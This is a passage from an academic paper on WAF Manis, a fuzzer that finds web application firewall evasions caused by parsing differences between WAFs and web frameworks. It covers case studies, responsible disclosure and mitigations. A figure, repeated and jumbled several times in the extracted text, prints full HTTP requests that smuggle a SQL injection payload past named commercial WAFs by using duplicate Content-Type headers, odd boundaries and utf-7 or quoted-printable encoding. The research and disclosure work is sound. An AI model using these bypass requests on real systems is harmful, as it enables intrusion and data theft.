payload to confuse the WAF to parse the payload content
with the incorrect parser, causing a WAF evasion.

Multiple Content-Type Headers. According to RFC
7230, A sender MUST NOT generate multiple header
fields with the same field name in a message unless ei-
ther the entire field value for that header field is defined
as a comma-separated list or the header field is a well-
known exception. However, many implementations still tol-
erate these behaviors. When dealing with multiple Content-
Type headers, some WAFs, such as ModSecurity, will use
the value of the first header as the basis for selecting
a parameter parser, while some web frameworks, such
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Figure 6. WAFs/WebApps pairs affected by three types of attacks

as Flask, will use the last one as the basis for select-
ing the parser. So an attacker can confuse the WAF into
thinking that the request body is JSON but smuggle data
as urlencoded-form by setting two Content-Type Headers,
the first one is application/json, the second one is
application/x-www-form-urlencoded. Figure 7a
shows an example produced by WAF Manis.

Content-Type Variant. According to RFC 7230 and
RFC 2045, The Content-Type header consists of a media
type followed by optional parameters. The media type
is typically represented as a MIME type, which is a
standardized format for describing the nature and format of
a file. The HTTP protocol does not restrict the media type
for submitting parameters, but the current de facto standards
include application/x-www-form-urlencoded,
application/json, application/xml and
multipart/form-data. Most WAFs currently support
the detection of these parameters (Google Cloud armor only
supports application/x-www-form-urlencoded
and application/json [16]). However, in practice,
the actual payload and these protocol names are not in
the one-to-one correspondence. For example, as shown in
Figure 6, flask will treat the body as JSON when Content-
Type values start with application/x- and end with
+json. And webpy will treat arbitrary mime values
starting with multipart as multipart/form-data,
so an attacker can construct a Content-Type value that can
be accepted by the WebApps but confusing the WAFs from
choosing a correct parser, resulting in the evasion.

Category 2: Malformed Parameter Structure. Besides
tricking the WAF into using the wrong parser to parse
HTTP requests, an attacker can also construct malformed
data so that the WAF will not find the parameter containing
the malicious payload while the WebApp takes them. By
benefiting from the mutation and minimization of the WAF
Manis, we have found many malformed samples that are
capable of interfering with the parsing process of WAF,
which is hard to discover through manual auditing.
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(a) Different Preferences of Content-Type headers (CVE-2023-38199).
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(b) Differences in parsing boundary parameter, which can exploit all
web applications behind the Cloudflare WAF.
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Support Content-Type in multipart and
decode parameter as id = 1'or(1)#

POST /post HTTP/1.1
Host: target
Content-Type: multipart/form-data;boundary=boundary

--boundary
Content-Disposition: form-data; name="id"
Content-Type: multipart/form-data; charset="utf-16le"

1\0'\0o\0r\0(\01\0)\0#\0
--boundary--

Recognize boundary without quotes

(c) Differences in recognizing Content-Transfer-Encoding (CTE)
header, which bypasses major WAFs including Google Cloud, Fortinet,
and Azure WAF to exploit Go-based web applications.

POST /admin HTTP/1.1
Host: target
Content-Type: application/xml
Content-Type: application/x-www-form-
urlencoded

<a>1=1<!-- &id=1'or(1)#&b= --></a>

Modsecurity WAF Flask
Pass

Attacker

POST /admin HTTP/1.1
Host: target
Content-Type: application/xml
Content-Type: application/x-www-form-
urlencoded

<a>1=1<!-- &id=1'or(1)#&b= --></a>

POST /admin HTTP/1.1
Host: target
Content-Type: multipart/form-data;
boundary="boundary";
 
--boundary
Content-Disposition: form-data; name="id";

1'or(1)#
--boundary--

Cloudflare WAF

Modsecurity WAF

Any WebApp

Flask

Pass

Pass

Attacker

POST /admin HTTP/1.1
Host: target
Content-Type: multipart/form-data;
boundary="boundary";
 
--boundary
Content-Disposition: form-data; name="id";

1'or(1)#
--boundary--

Recognize Content-Type as xml Recognize Content-Type as  url-form

POST /admin HTTP/1.1*
Host: target
Content-Type: multipart/form-data;
boundary=boundary

--boundary
Content-Disposition: form-data; name="id"
Content-Transfer-Encoding: quoted-printable
 
=31=27=6f=72=28=31=29=23
--boundary--

Google Cloud Armor Go-based App
Pass

Attacker

POST /admin HTTP/1.1*
Host: target
Content-Type: multipart/form-data;
boundary=boundary

--boundary
Content-Disposition: form-data; name="id"
Content-Transfer-Encoding: quoted-printable
 
=31=27=6f=72=28=31=29=23
--boundary--

POST /admin HTTP/1.1
Host: target
Content-Type: multipart/form-
data;boundary*=us-ascii''boundary;
 
--boundary
Content-Disposition: form-data; name="id";

 1'or(1)#
--boundary--

Huawei Cloud WAF Spring WebApp
Pass

Attacker

POST /admin HTTP/1.1
Host: target
Content-Type: multipart/form-
data;boundary*=us-ascii''boundary;
 
--boundary
Content-Disposition: form-data; name="id";

 1'or(1)#
--boundary--

Recognize quotes as part of boundary

Don't recognize Content-Transfer-Encoding
  

Recognize Content-Transfer-Encoding
  

Don't support RFC2331 and recognize
boundary as NULL

Support RFC2331 and recognize
boundary as boundary

Modsecurity WAF Flask
Pass

POST /post HTTP/1.1
Accept: */*
Host: target
Content-Type: application/x-www-form-
urlencoded; charset=utf-7
 
+AGkAZA-=+ADEAJwBvAHIAKAAxACkAIw-

Mircosoft Azure WAF Django WebApp
Pass

Attacker

POST /post HTTP/1.1
Accept: */*
Host: target
Content-Type: application/x-www-form-
urlencoded; charset=utf-7
 
+AGkAZA-=+ADEAJwBvAHIAKAAxACkAIw-

Don't support charset and recognize the
paramter as +AFkAZA-=+ADE...

Support charset and recognize the
parmeter as id = 1'or(1)#

POST /post HTTP/1.1
Host: target
Content-Type: multipart/form-data;boundary=boundary

--boundary
Content-Disposition: form-data; name="id"
Content-Type: multipart/form-data; charset="utf-16le"

1\0'\0o\0r\0(\01\0)\0#\0
--boundary--

Alibaba Cloud WAF Express WebApp
Pass

Attacker

Don't support Content-Type in multipart and
get paramter as id = 1\0'\0o\0r\0(\01\0)\0#\0

Support Content-Type in multipart and
decode parameter as id = 1'or(1)#

POST /post HTTP/1.1
Host: target
Content-Type: multipart/form-data;boundary=boundary

--boundary
Content-Disposition: form-data; name="id"
Content-Type: multipart/form-data; charset="utf-16le"

1\0'\0o\0r\0(\01\0)\0#\0
--boundary--

Recognize boundary without quotes

(d) Differences in supporting RFC 2331 standard, which can bypass
Huawei Cloud WAF to exploit Java Spring applications.

POST /admin HTTP/1.1
Host: target
Content-Type: application/xml
Content-Type: application/x-www-form-
urlencoded

<a>1=1<!-- &id=1'or(1)#&b= --></a>

Modsecurity WAF Flask
Pass

Attacker

POST /admin HTTP/1.1
Host: target
Content-Type: application/xml
Content-Type: application/x-www-form-
urlencoded

<a>1=1<!-- &id=1'or(1)#&b= --></a>

POST /admin HTTP/1.1
Host: target
Content-Type: multipart/form-data;
boundary="boundary";
 
--boundary
Content-Disposition: form-data; name="id";

1'or(1)#
--boundary--

Cloudflare WAF

Modsecurity WAF

Any WebApp

Flask

Pass

Pass

Attacker

POST /admin HTTP/1.1
Host: target
Content-Type: multipart/form-data;
boundary="boundary";
 
--boundary
Content-Disposition: form-data; name="id";

1'or(1)#
--boundary--

Recognize Content-Type as xml Recognize Content-Type as  url-form

POST /admin HTTP/1.1*
Host: target
Content-Type: multipart/form-data;
boundary=boundary

--boundary
Content-Disposition: form-data; name="id"
Content-Transfer-Encoding: quoted-printable
 
=31=27=6f=72=28=31=29=23
--boundary--

Google Cloud Armor Go-based App
Pass

Attacker

POST /admin HTTP/1.1*
Host: target
Content-Type: multipart/form-data;
boundary=boundary

--boundary
Content-Disposition: form-data; name="id"
Content-Transfer-Encoding: quoted-printable
 
=31=27=6f=72=28=31=29=23
--boundary--

POST /admin HTTP/1.1
Host: target
Content-Type: multipart/form-
data;boundary*=us-ascii''boundary;
 
--boundary
Content-Disposition: form-data; name="id";

 1'or(1)#
--boundary--

Huawei Cloud WAF Spring WebApp
Pass

Attacker

POST /admin HTTP/1.1
Host: target
Content-Type: multipart/form-
data;boundary*=us-ascii''boundary;
 
--boundary
Content-Disposition: form-data; name="id";

 1'or(1)#
--boundary--

Recognize quotes as part of boundary

Don't recognize Content-Transfer-Encoding
  

Recognize Content-Transfer-Encoding
  

Don't support RFC2331 and recognize
boundary as NULL

Support RFC2331 and recognize
boundary as boundary

Modsecurity WAF Flask
Pass

POST /post HTTP/1.1
Accept: */*
Host: target
Content-Type: application/x-www-form-
urlencoded; charset=utf-7
 
+AGkAZA-=+ADEAJwBvAHIAKAAxACkAIw-

Mircosoft Azure WAF Django WebApp
Pass

Attacker

POST /post HTTP/1.1
Accept: */*
Host: target
Content-Type: application/x-www-form-
urlencoded; charset=utf-7
 
+AGkAZA-=+ADEAJwBvAHIAKAAxACkAIw-

Don't support charset and recognize the
paramter as +AFkAZA-=+ADE...

Support charset and recognize the
parmeter as id = 1'or(1)#

POST /post HTTP/1.1
Host: target
Content-Type: multipart/form-data;boundary=boundary

--boundary
Content-Disposition: form-data; name="id"
Content-Type: multipart/form-data; charset="utf-16le"

1\0'\0o\0r\0(\01\0)\0#\0
--boundary--

Alibaba Cloud WAF Express WebApp
Pass

Attacker

Don't support Content-Type in multipart and
get paramter as id = 1\0'\0o\0r\0(\01\0)\0#\0

Support Content-Type in multipart and
decode parameter as id = 1'or(1)#

POST /post HTTP/1.1
Host: target
Content-Type: multipart/form-data;boundary=boundary

--boundary
Content-Disposition: form-data; name="id"
Content-Type: multipart/form-data; charset="utf-16le"

1\0'\0o\0r\0(\01\0)\0#\0
--boundary--

Recognize boundary without quotes

(e) Differences in recognizing charset parameter header, which by-
passes major WAFs including Microsoft Azure WAF to exploit Django
web applications.

POST /admin HTTP/1.1
Host: target
Content-Type: application/xml
Content-Type: application/x-www-form-
urlencoded

<a>1=1<!-- &id=1'or(1)#&b= --></a>

Modsecurity WAF Flask
Pass

Attacker

POST /admin HTTP/1.1
Host: target
Content-Type: application/xml
Content-Type: application/x-www-form-
urlencoded

<a>1=1<!-- &id=1'or(1)#&b= --></a>

POST /admin HTTP/1.1
Host: target
Content-Type: multipart/form-data;
boundary="boundary";
 
--boundary
Content-Disposition: form-data; name="id";

1'or(1)#
--boundary--

Cloudflare WAF

Modsecurity WAF

Any WebApp

Flask

Pass

Pass

Attacker

POST /admin HTTP/1.1
Host: target
Content-Type: multipart/form-data;
boundary="boundary";
 
--boundary
Content-Disposition: form-data; name="id";

1'or(1)#
--boundary--

Recognize Content-Type as xml Recognize Content-Type as  url-form

POST /admin HTTP/1.1*
Host: target
Content-Type: multipart/form-data;
boundary=boundary

--boundary
Content-Disposition: form-data; name="id"
Content-Transfer-Encoding: quoted-printable
 
=31=27=6f=72=28=31=29=23
--boundary--

Google Cloud Armor Go-based App
Pass

Attacker

POST /admin HTTP/1.1*
Host: target
Content-Type: multipart/form-data;
boundary=boundary

--boundary
Content-Disposition: form-data; name="id"
Content-Transfer-Encoding: quoted-printable
 
=31=27=6f=72=28=31=29=23
--boundary--

POST /admin HTTP/1.1
Host: target
Content-Type: multipart/form-
data;boundary*=us-ascii''boundary;
 
--boundary
Content-Disposition: form-data; name="id";

 1'or(1)#
--boundary--

Huawei Cloud WAF Spring WebApp
Pass

Attacker

POST /admin HTTP/1.1
Host: target
Content-Type: multipart/form-
data;boundary*=us-ascii''boundary;
 
--boundary
Content-Disposition: form-data; name="id";

 1'or(1)#
--boundary--

Recognize quotes as part of boundary

Don't recognize Content-Transfer-Encoding
  

Recognize Content-Transfer-Encoding
  

Don't support RFC2331 and recognize
boundary as NULL

Support RFC2331 and recognize
boundary as boundary

Modsecurity WAF Flask
Pass

POST /post HTTP/1.1
Accept: */*
Host: target
Content-Type: application/x-www-form-
urlencoded; charset=utf-7
 
+AGkAZA-=+ADEAJwBvAHIAKAAxACkAIw-

Mircosoft Azure WAF Django WebApp
Pass

Attacker

POST /post HTTP/1.1
Accept: */*
Host: target
Content-Type: application/x-www-form-
urlencoded; charset=utf-7
 
+AGkAZA-=+ADEAJwBvAHIAKAAxACkAIw-

Don't support charset and recognize the
paramter as +AFkAZA-=+ADE...

Support charset and recognize the
parmeter as id = 1'or(1)#

POST /post HTTP/1.1
Host: target
Content-Type: multipart/form-data;boundary=boundary

--boundary
Content-Disposition: form-data; name="id"
Content-Type: multipart/form-data; charset="utf-16le"

1\0'\0o\0r\0(\01\0)\0#\0
--boundary--

Alibaba Cloud WAF Express WebApp
Pass

Attacker

Don't support Content-Type in multipart and
get paramter as id = 1\0'\0o\0r\0(\01\0)\0#\0

Support Content-Type in multipart and
decode parameter as id = 1'or(1)#

POST /post HTTP/1.1
Host: target
Content-Type: multipart/form-data;boundary=boundary

--boundary
Content-Disposition: form-data; name="id"
Content-Type: multipart/form-data; charset="utf-16le"

1\0'\0o\0r\0(\01\0)\0#\0
--boundary--

Recognize boundary without quotes

(f) Differences in supporting Content-Type header in multipart data,
which can bypass Alibaba Cloud WAF to exploit Express-based ap-
plications.

Figure 7. Samples of protocol-level WAF evasion found by WAF Manis.

Malformed boundary parameter. According to RFC
2046, the body of a “multipart” media type field must con-
tain one or more body parts, each preceded by a boundary
delimiter and the last one followed by a closing boundary
delimiter line. The boundary value is defined in the Content-
Type header. During our evaluation, Cloudflare WAF will
not parse boundary="boundary" value as boundary,
so Cloudflare WAF will not parse the corresponding mul-
tipart data while all most popular web frameworks like
Laravel, Springboot, Gin, and Flask will parse these parts.
Figure 7b shows how the evasion occurs.

Malformed boundary separator. Through RFC 2046 in-
dicates that the boundary delimiter line is defined as a
line consisting entirely of two hyphen characters with a
terminating CRLF, we found that many web framework im-

plementations (eg. Django) can tolerance incomplete CRLF
tokens with only one CR or one LF token while many WAFs
including Fortinet, Huawei Cloud, and Alibaba Cloud can
not parse them correctly and thus they get bypassed.

Category 3: RFC Support Gap. It is essential that all
parties involved adhere to the specifications outlined in the
RFC to ensure interoperability and security. However, during
our evaluation, we found a number of WAFs and WebApps
don’t follow the current RFC standard. Apart from crafting
malformed data which may throw warnings in the parsers,
attackers can leverage the RFC support gaps between the
WAFs and WebApps to make a legitimate-looking request
while getting parsed by the WAFs and WebApps differently.

RFC 2231 Support. Based on RFC 2388, if the file
name of the sender’s operating system is not in US-ASCII,



the file name can be encoded with the method of RFC
2231. However, during our evaluation, the fuzzing results of
WAF Manis show that not all WAFs and WebApps correctly
implement this feature. With the grammar-level Mutation of
WAF Manis, we found that some Web framework implemen-
tations even support other parameters to be encoded. Fig-
ure 7d shows the sample that can confuse WAFs to choose
the correct subpart in multipart/form-data proto-
col by encoding boundary parameter or name parameter
in RFC 2331 as boundary*=us-ascii’’boundary,
which results in the value of the boundary to boundary.

Deprecated Content-Transfer-Encoding Header. Once,
it was recommended in RFC standards that the ”content-
transfer-encoding” header be supplied if the value of that
part does not conform to the default encoding in RFC 2388.
But in RFC 7578, the recommendation got deprecated and
senders SHOULD NOT generate any parts with a Content-
Transfer-Encoding header field. Notably, web frameworks
such as Gin, Beego, Echo, and Flask still support these
features during our evaluation. As illustrated in Figure 7c,
an attacker can set Content-Transfer-Encoding:
quoted-printable header to transfer encoded ma-

licious payload in multipart/form-data protocol to
bypass almost every WAF in the real world.

Charset Support. According to RFC 1866, there is no
clue that application/x-www-form-urlencoded
media type supports body encoding. In most WAFs and
web frameworks, parameters on this MIME type are
ignored. In particular, this MIME type does not support
the charset parameter. However, as is shown in figure 7e
there are some web frameworks (e.g Django) that will
use the charset parameter in the Content-Type header
to decode the request body, which means an attacker
can encode malicious payload with utf-7 with Content-
Type application/x-www-form-urlencoded;
charset=utf-7 to evade the detection of the WAF.

Content-Type supprot in multipart data. Notably, during
our evaluation, we found that web frameworks including
express, nest, koa, fastify, and sails support content-type
in multipart data. As illustrated in Figure 7f, these web
frameworks parse the Content-Type header in the part
and use charset parameter in this header to decode the
value of the part, so attackers can encode their malicious
payload to evade the detection from almost every WAF,
leaving these web frameworks in threats.

5.3. Case Study

We manually review the found evasion samples to es-
timate their real-world impact. Notably, we found 2 cases
that are rooted in the PHP and Go programming languages,
which can bypass major WAFs to exploit web applications
written in those languages.

Case Study 1: RFC 1867 violations in PHP language.
After manually reviewing the evasion samples for Laravel,
Symfony, and Codeigniter, we found the common root cause
of the evasions is that the parser built in PHP is using the
“best effort parsing” mode to parse HTTP requests, which

means the parser attempts to process input data to the best
of its ability, even if the input contains errors or is not fully
compliant with the expected syntax. As shown in Figure 2,
there are a number of unexpected parsing behaviors against
the RFC 1867. First, according to find_boundary func-
tion defined in main\rfc1867.c, PHP tries to find the
boundary ignoring the padding lines before multipart data.
Second, PHP only seeks for name and filename param-
eters in Content-Disposition header, which means
form-data token defined in RFC 1867 can be omitted.
Third, when the CRLF token between part headers and
part body is missing, PHP will treat the first line after
Content-Disposition header as the value of that part
and stop parsing the remaining parts. Finally, PHP will not
throw any exception when the terminal boundary is missing.
Since the parsing behavior is built in the PHP engine, these
evasion tactics can affect almost any web framework written
in PHP.

Real-world Experiment. Given the potential ethical risks
of conducting exploitation attacks against real-world web-
sites, we conducted exploitation experiments against our
websites deployed behind commercial WAFs. We conducted
a real-world experiment to exploit this vulnerability for SQL
injection attacks. We set up a WordPress website on our own
VPS server, one with the vulnerability (CVE-2022-33965).
Then we deploy Cloudflare WAF to protect our website. By
exploiting the WAF evasion vulnerability, we are able to
deliver a payload for CVE-2022-33965 to obtain sensitive
data from the database, such as passwords.

Case Study 2: RFC 2616 and RFC 7578 viola-
tions in Go language. As shown in Figure 7c, some
web frameworks like Gin, Beego, and Echo will decode
quoted-printable form parameters, which can be lever-
aged to bypass WAF. The unexpected parsing behaviors
arise from the standard libraries of Go: http and mime.
Request.ParseMultipartForm method in http li-
brary will call Part struct in mime library to parse mul-
tipart parameters. However, according to RFC 2616, unlike
MIME, HTTP does not use Content-Transfer-Encoding, and
does use Transfer-Encoding and Content-Encoding. Further-
more, according to RFC 7578 section 4.7 Senders SHOULD
NOT generate any parts with a Content-Transfer-Encoding
header field. This evasion tactic has a huge impact on
WebApps based on Go because the wrong behavior is
introduced in the standard library.

Real-world Experiment. We conducted a real-world ex-
periment to demonstrate the threat. We set up a Gogs (A
popular Git service written in Go language) instance on
our own VPS server, which has the vulnerability (CVE-
2022-0415). Subsequently, we deployed a Fortinet WAF to
safeguard our Gogs website. By leveraging the evasion vul-
nerability, we successfully delivered the malicious payload
of CVE-2022-0415 to the Git service, enabling us to gain
complete control over the target system, such as accessing
sensitive data, modifying or deleting files, and executing
commands.



6. Discussion

6.1. Responsible Disclosure

Ethical Consideration. In the whole process of our
experiments, we try our best to follow the best industry
practice of security research. First, we set up popular open-
source WAFs on our controlled servers to verify the effec-
tiveness of our WAF Manis, throughout this work. Second,
for well-known commercial WAF providers like Cloudflare,
Fortinet, Huawei Cloud, and Alibaba Cloud, we strictly fol-
low their bug bounty rules to perform controlled experiments
by sending small-scale traffic to our own websites. Third,
both open-source and cloud WAFs encourage security tests
through bug bounty programs, and we responsibly disclosed
the details to them. Our contact results are summarized as
follows.

Cloudflare. They acknowledged our report and re-
warded us for reporting the issue of WAF evasion. They
told us that they generally don’t consider WAF evasion bugs
for bug bounty purposes, but as our report provided a more
notable finding than most, they offered us a cash reward in
thanks.

Fortinet. They accepted our report and confirmed the
vulnerability. The vulnerability now has been fixed.

Alibaba Cloud. They accepted our reports as critical
vulnerabilities and provided us $900 bug bounty rewards
for reporting the vulnerabilities.

Huawei Cloud. They appreciated our work [44], ac-
cepted our reports and provided us $550 bug bounty rewards
for reporting the vulnerabilities.

ModSecurity&Core Rule Set. They confirmed our re-
port and fixed the vulnerabilities. CVE-2023-38199 is as-
signed for the vulnerabilities.

PHP Security Team. They thanked our report and
confirmed our findings as valid security issues.

Go Security Team. They expressed their gratitude for
our report and would address it as a hardening measure.

Others. We have contacted other relevant WAF vendors
and are looking forward to receiving their feedback.

6.2. Mitigation

Our work underscores the unfortunate fact that the pars-
ing process has become the Achilles heel in WAF defense.
Our study discovered a number of protocol-level evasions.
We suggest possible mitigations as follows.

One possible approach is normalization. Previous work
on TCP/IP protocol ambiguities [22] has proposed normal-
ization and canonicalization methods to remove potential
ambiguities to mitigate NIDS evasions. However, applying
such techniques to HTTP protocol may be not infallible. Be-
cause the nature of HTTP as a text-based protocol, coupled
with its extensive flexibility and redundancy, makes correct
normalization challenging. Furthermore, even if WAFs en-
force correct canonicalization or allowlist-based mitigation,
web applications may have their “dialect” and interpret the
request differently with the WAFs. For instance, in our

evaluations, we observed that some WAFs attempted to
normalize HTTP requests when forwarding, but still fail to
prevent evasions.

Another possible approach is Runtime Application Self-
Protection (RASP). This approach integrates security poli-
cies directly into the web application’s runtime environment,
actively analyzing the parameters and application logic to
identify and mitigate potential threats. As having this van-
tage point, RASP can directly collect the same parameters
from Web applications, thus avoiding potential protocol
parsing ambiguities. However, RASP also has its limitations,
such as the complexity of deep integration, performance
impact, and limited protection scope.

The third approach is fuzzing WAF implementations with
methodologies like WAF Manis. The vulnerabilities in this
research arise from the parsing inconsistency between the
WAFs and the WebApps, which cannot be revealed with
traditional fuzzing tools that only explore either WAF or We-
bApp. To address this gap, our tool, WAF Manis, has been
designed to specifically target the interaction between WAFs
and WebApps, enabling a more effective identification of
potential vulnerabilities. We will open source our tool at
https://github.com/EkiXu/WAFManis once all the identified
vulnerabilities are fixed by affected vendors.

At high-level, we suggest several broader considerations
when implementing and designing protocols.

In implementation, follow RFC standards and be con-
sistent in HTTP-level parsing. First, both WAFs and We-
bApps should strictly follow related implementation stan-
dards in the RFC. Second, for ambiguous or undetailed
definitions in the RFCs, we recommend following well-
known HTTP implementations as industry standards. In
these ways, protocol-level evasion caused by inconsistency
can be mostly avoided.

In design, keep simplicity and apply secure defense.
HTTP implementations normally follow the Postel’s law of
“be liberal in what you receive” to keep robustness, however,
the primary goal of WAF is to defend against possible at-
tacks, thus the WAF parser should keep simplicity in its core
function implementation, and apply secure defense to avoid
any HTTP-level confusion concerning either parameter type,
malformed structure, or any support gaps.

Above all, as these vulnerabilities are caused by se-
mantic gaps among multiple implementations with different
understandings of the same data, a concerted effort and
a systematical security view are needed to mitigate this
problem.

7. Related Work

In this section, we present work related to WAF evasion
and network fuzzing.

WAF Evasion. Prior research [6], [27], [43] achieved
success in automating the discovery of payload-level eva-
sions. They simply facilitate the encoding and obfuscating
approaches of the original attack payload in a known bypass
cheat sheet in order to bypass the WAF. To cope with more
complex WAFs, researchers [7], [18], [23], [36] have applied

https://github.com/EkiXu/WAFManis


evolution algorithms on payloads. These evasion methods
typically begin by generating a malicious payload that is
initially non-evasive based on the underlying grammar. Sub-
sequently, evolutionary algorithms are applied to mutate
the payload multiple times, guided by specific metrics that
facilitate the transformation process, ultimately enabling
the payload to transit from its initial non-evasive state to
an evasive state that can bypass WAFs. However, these
researches mainly focus on detecting SQL injection evasion
samples and their techniques cannot discover protocol-level
evasions.

Previous studies identified protocol-level semantic gaps,
which indicates possible WAF evasions. HTTP Parameter
Pollution Attack (HPP) [11] is a classical type of protocol-
level evasion. HPP occurs when an attacker deliberately
modifies the parameter structure or introduces duplicate or
conflicting parameters to confuse the WAF and server-side
processing. If the WAF parses these parameters differently
from the WebApps, it is possible for the WAF to overlook
malicious payloads within the parameters, thus leading to a
bypass. Balduzzi et al. [9] proposed an automated approach
for the discovery of HPP by scanning and analyzing param-
eters. However, HPP is limited to parameter-based attacks,
whereas many potential vulnerabilities can only be triggered
by requests in formats such as form-data and others.

Differential testing is a software testing technique that
focuses on comparing the behavior or output of two or more
similar implementations of a program or system. which
can indicate protocol-level evasion. T-Reqs [24] presents
a grammar-based differential fuzzer to find HTTP Request
Smuggling (HRS) [28] samples. It first tests each web
middleware target in isolation, and then compares responses
from targets to identify the pairs that behave differently,
indicating potential HTTP semantic gaps. Unfortunately, T-
Reqs is limited to HRS and lacks testing on common web
application frameworks.

Previous work has proposed protocol grammar-based
fuzzing approaches to identify censorship evasions. For
example, geneva [10] and CenFuzz [37] also utilized HTTP
grammars to generate test cases and fuzz censorships. Our
work differs from them in two aspects: (1) the vulner-
ability detector is different. Geneva and CenFuzz focus
on bypassing censorship, while our work focuses on web
application firewalls evasion which require examining web
applications for parametric integrity detection. (2) Approach
to fuzzing is different. Our work employs the code coverage
of open source web frameworks to guide new testing request
generation, while Geneva and CenFuzz operate within black
box testing.

Generally, protocol-level WAF evasion vulnerabilities
fall under the category of semantic gap attacks. Similar
semantic gap attacks have been identified in various sys-
tems, including HTTP implementations [13], [41], CDN sys-
tems [15], [47], and email systems [14]. The methodologies
we have proposed could potentially be adapted and applied
to these systems as well, addressing similar discrepancies in
interpretation.

Network Fuzzing. Previous studies have also attempted

to leverage fuzzing techniques to discover vulnerabilities
in Network services. However, previous fuzzers like AFL
[46] are primarily designed for file format fuzzing, which
requires additional modifications or tooling to support com-
plex network protocols. The most straightforward approach
is to interact with the target WebApp over the network
[1], [45]. AFL++ [20] integrates preeny [42] that converts
socket-based I/O to file-based I/O, which provides basic
support for network service fuzzing.

Another challenge faced by network protocol fuzzing is
that vanilla fuzzers are not designed for stateful network
protocols. Thus, the generated inputs are likely to fail to
comply with the required format or order of the protocol,
making it difficult to reach deep areas in the target program.
Pham et al. [34] proposed the AFLNet which addresses the
limitations of AFL for network protocol fuzzing. AFLNet
aims to discover vulnerabilities in network-based applica-
tions with complex protocols. Using response codes to rep-
resent states, AFLNet is capable of automatically inferring
the state model of the target service and generating input
sequences through mutations that can reach deeper states.
To address the issue of insufficient information in response
codes, STATEAFL [30] and NSFuzz [35] proposed methods
that utilize memory states and program variables to represent
service states. TCP-Fuzz [48] aims to discover semantic
gaps between different TCP stacks using differential fuzzing.
Nyx-Net [40] applies snapshots on network service fuzz
to improve efficiency. However, none of these published
research and tools can uncover the semantic gap of HTTP
parsers between WAFs and WebApps.

8. Conclusion

In this paper, we have introduced WAF Manis, a novel
automated tool designed to detect web application firewall
evasions. These evasions exploit differences in protocol
parsing between the WAFs and the WebApps. Our evalu-
ation of 280 combinations (14× 20) of real-world deployed
systems demonstrates WAF Manis’ ability to effectively
detect 311 protocol-level evasion cases, affecting all tested
WAFs and web applications. Our tool can assist develop-
ers in detecting vulnerabilities before they are exploited
by attackers. We have responsibly disclosed all identified
vulnerabilities to the affected providers, receiving acknowl-
edgments and bug bounty rewards from Cloudflare WAF,
Fortinet WAF, Alibaba Cloud WAF, Huawei Cloud WAF,
ModSecurity, the Go security team, and the PHP security
team. We hope this work can inspire the community to
discover and reduce semantic gap attacks between WAFs
and WebApps.
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Appendix A.

A.1. Baseline Test

WAF WAFNinjia Result SQLMap (xwaf) Result
Mircosoft Azure WAF Failed Failed
Google Cloud Amor Failed Failed
Alibaba Cloud WAF Failed Failed
Cloudflare WAF Failed Failed
Huawei Cloud WAF Failed Failed
Safeline WAF Failed Failed
Fortinet WAF Failed Failed
Barracuda WAF Failed Failed
ModSecurity WAF Failed Failed
Naxis Failed Failed
OpenWAF Failed Failed
Janusec Failed Failed
WAFbrain Failed Failed
HiHTTP Failed Failed

TABLE 3. BASELINE TEST RESULTS
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A.2. Algorithms

Algorithm 1 Generation Algorithm
Require: grammar rules G
Ensure: sample tree t sample message m

1: t.root← root
2: m← empty string
3: q ← new Queue
4: q.push tail(t.root)
5: while !q.empty() do
6: cnow ← q.pop tail()
7: if len(G[cnow])> 0 then
8: children←weighted random choice(G[cnow])
9: cnow.chidlren← children

10: children← reverse(children)
11: for all child in children do
12: q.push head(child)
13: end for
14: else
15: cnow.is terminal← true
16: end if
17: end while
18: q.push tail(t.root)
19: while !q.empty() do
20: cnow ← q.pop tail()
21: if cnow.is terminal then
22: m← m+ cnow.to str()
23: end if
24: children←reverse(cnow.children)
25: for all child in children do
26: q.push head(child)
27: end for
28: end while
29: return t,m

Algorithm 2 Evasion Sample Centrifuge
Require: Evasion sample t
Ensure: corpus samples cmin evasion samples smin

1: q ← new Queue;
2: q.push(t)
3: while !q.empty() do
4: node pool ← []
5: tnow ← q.pop tail()
6: for all node in tnow do
7: if !node.visited and !node.is leaf and

!node.deleted then
8: node pool.append(node)
9: end if

10: end for
11: if len(node pool) = 0 then
12: smin.append(tnow.dump to raw packet())
13: end if
14: for all node in node pool do
15: target.visited ← true
16: target.deleted ← true
17: req ← tnow.dump to raw packet()
18: accepted, req ← waf verfication(req)
19: if accepted then
20: if !webapp verfication(req) then
21: continue
22: end if
23: else
24: cmin.append(tnow)
25: target.deleted ← false
26: end if
27: q.push(tnow)
28: end for
29: end while



A.3. Evaluation Details

HTTP Field Descripition Example Vulnerability

Content-Type Header

malformed boundary token multipart/form-data; boundary*=”boundary” MPS
malformed boundary parameter separator multipart/form-data&boundary=boundary& MPS
urlencoded-form with charset parameter application/x-www-from-urlencoded; charset=utf-7 RSG
variant json content type application/x-a-json PTC

Content-Disposition Header malformed form-data token fo-data; name=”taint key” MPS
fake file indicator form-data; name=”taint key”; Content-Disposition:;filename*=”” PTC

Boundary Seperator formdata boundary terminator missing lf –boundary–\r MPS
formdata boundary startline missing cr –boundary\n MPS
empty boundary token –\r\n MPS

TABLE 4. EXAMPLES OF PARSING VULNERABILITIES FOUND BY WAF MANIS

Web
Framework

Path parameters Query parameters Header parameters Body parameters

Laravel Route::get(’/{taint key}’) $request->query(’taint key’); $request->header(’header’); $request->input(’taint key’);
gin router.GET(”/:taint key”,

func(c *gin.Context) { value
:= c.Param(”taint key”) })

Context.query(”taint key”) Context.GetHeader(”taint key”) Context.PostForm(”taint key”)

beego Controller.Ctx.Input.
Param(”:taint key”)

Controller.GetString(”taint key”) Controller.Ctx.Request.
Header[’taint key’]

Controller.Parseform(&message);
message.taint key

echo c.Param(”taint key”) c.QueryParam(”taint key”) c.Request().Header[”taint key”] c.FormValue(”taint key”)
springboot @PathVariable String

taint key
@RequestParam(”taint key”) @RequestHeader(”taint key”) @RequestParam(”taint key”)

express req.params[”taint key”] req.query[”taint key”] req.headers.[”taint key”] req.body[”taint key”]
codeigniter $routes->get(’/(:taint key)’,

’controller:method’)
$request->getGet(’taint key’) $request->header(’taint key’) $request->getPost(’taint key’)

symfony @Route(”{taint key}” $request->query-
>get(’taint key’)

$request->header-
>get(’taint key’)

$request->request-
>get(’taint key’)

flask @app.route(”/ <taint key>”) flask.request.args[’taint key’] flask.request.headers[’taint key’] flask.request.form[’taint key’]
django path(”/ <taint key>”) request.GET.get(’taint key’) request.header.get(’taint key’) request.POST.get(’taint key’)
fastapi @app.get(”/{taint key}”) taint key:Annotated[str |

None, Query()]
taint key: Annotated [str |
None, Header()]

taint key: Annotated[str |
None, Form()]

